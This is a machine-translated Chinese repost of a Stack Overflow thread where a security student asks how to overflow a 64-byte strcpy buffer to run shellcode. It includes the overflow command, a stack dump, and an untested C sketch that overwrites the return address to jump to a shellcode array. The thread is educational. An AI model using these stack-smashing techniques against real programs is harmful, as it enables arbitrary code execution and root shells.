[英]Using buffer overflow to execute shell code
我最近一直在學習計算機安全,遇到了幾個問題,特別是我遇到了一些問題。
我給了一個帶有固定緩沖區的函數,我需要溢出才能在文件shellcode中執行shellcode 。 功能很簡單:
void vuln(char *str) {
char buf[64];
strcpy(buf, str);
//function provided to display stack on command prompt
dump_stack((void **) buf, 21, (void **) &str);
}
我最初的猜測是修改函數的返回地址, eip ,以便找到並執行shellcode文件中的內容,但我意識到我沒有地址到我可以用十六進制值表示的文件。 我很確定我需要操縱返回地址,所以我目前正在調用的是:
//the string is passed as a command line arg
./buffer_overflow_shellcode $(python -c "print 'A'*72 + '\x41\xd6\xff\xff' ")
我的輸出是:
Stack dump:
0xffffd600: 0xffffd7fd (first argument)
0xffffd5fc: 0x08048653 (saved eip)
0xffffd5f8: 0xffffd641 (saved ebp)
0xffffd5f4: 0x41414141
0xffffd5f0: 0x41414141
0xffffd5ec: 0x41414141
0xffffd5e8: 0x41414141
0xffffd5e4: 0x41414141
0xffffd5e0: 0x41414141
0xffffd5dc: 0x41414141
0xffffd5d8: 0x41414141
0xffffd5d4: 0x41414141
0xffffd5d0: 0x41414141
0xffffd5cc: 0x41414141
0xffffd5c8: 0x41414141
0xffffd5c4: 0x41414141
0xffffd5c0: 0x41414141
0xffffd5bc: 0x41414141
0xffffd5b8: 0x41414141
0xffffd5b4: 0x41414141
0xffffd5b0: 0x41414141 (beginning of buffer)
Segmentation fault
python腳本只是輸出72個字母A來溢出緩沖區到edp和eip的點,在我用額外的地址替換edp的地址並到達返回地址后,准備操作它。 非常感謝任何幫助,謝謝!
我最初的猜測是修改函數的返回地址,eip,以便找到並執行shellcode文件中的內容,但我意識到我沒有地址到我可以用十六進制值表示的文件。
您希望修改RET地址,以便在函數結束時它不會返回到其調用者,而是返回到shellcode的開頭。
((作為shellcode的簡要概述,它是一組匯編指令(因此嚴重依賴於您執行易受攻擊的進程的平台)執行shell(通常是root shell),從而使您在一個良好的環境中脫穎而出你可以利用。))
現在回來,你想要的是將RET指向shellcode中的第一個匯編指令。 奇怪的是,你將它放在一個單獨的文件中。 這需要嗎?
通常做的是你有這樣的事情:
char shellcode[] = "\x90\x90\x90...";
int main()
{
/*
* huge string (like your 72 A's) that appends the address of the
* shellcode at the right address (in your case I think it's 64 + 4)
*/
char evilstring[100];
/* Fill the buf and the EBP with A's */
for (int i = 0; i < 64 + 4; i++) {
evilstring[i] = 'A';
}
/* And the RET with the address of your shellcode */
sprintf(&evilstring[68], "%p", &shellcode[0]);
vuln(evilstring);
/* you should have a shell now */
/* NOTREACHED */
return 0;
}
所以現在,當你的函數返回時,它返回shellcode []字符串的地址,並繼續從那里執行指令。 這是你想要的。 因為這些指令為您提供了root shell(或者shellcode所做的任何事情)。
請注意,上面只是示例代碼,甚至沒有經過編譯測試。
如果我不明白你的問題,或者我的解釋不夠好,請隨時問。
char buff[20];
unsigned int pass = 0;
當'buff'溢出時,額外輸入將'pass'變為大於0,使其成為'true'值。
當你知道在哪里看起來並不難,就像在打開應用程序w / gdb之前說的那樣。 運行。 然后我(nfo)r(egisters)看看為什么它崩潰了。 反匯編是非常有用的。
另外,(我假設你知道這個):
void vuln(char *str) {
char buf[64];
strcpy(buf, str);
//function provided to display stack on command prompt
dump_stack((void **) buf, 21, (void **) &str);
}
實際上是
void vuln(char *str) {
void *return;
char buf[64];
/* Set Return value and store stack */
strcpy(buf, str);
//function provided to display stack on command prompt
dump_stack((void **) buf, 21, (void **) &str);
/* restore stack and jmp to return value. */
}
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.